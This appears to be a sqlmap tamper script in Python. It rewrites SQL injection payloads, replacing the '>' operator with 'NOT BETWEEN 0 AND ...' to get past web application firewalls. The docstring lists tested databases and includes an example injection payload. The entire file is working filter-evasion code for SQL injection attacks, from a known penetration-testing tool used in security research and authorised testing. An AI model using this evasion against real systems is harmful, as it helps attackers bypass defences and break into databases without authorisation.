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49 lines
1.2 KiB
Python
49 lines
1.2 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
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Tested against:
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* Microsoft SQL Server 2005
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* MySQL 4, 5.0 and 5.5
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* Oracle 10g
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* PostgreSQL 8.3, 8.4, 9.0
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Notes:
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* Useful to bypass weak and bespoke web application firewalls that
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filter the greater than character
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* The BETWEEN clause is SQL standard. Hence, this tamper script
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should work against all (?) databases
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>>> tamper('1 AND A > B--')
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'1 AND A NOT BETWEEN 0 AND B--'
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"""
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retVal = payload
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if payload:
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match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
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if match:
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_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
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retVal = retVal.replace(match.group(0), _)
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else:
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retVal = re.sub(r"\s*>\s*(\d+|'[^']+')", " NOT BETWEEN 0 AND \g<1>", payload)
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return retVal
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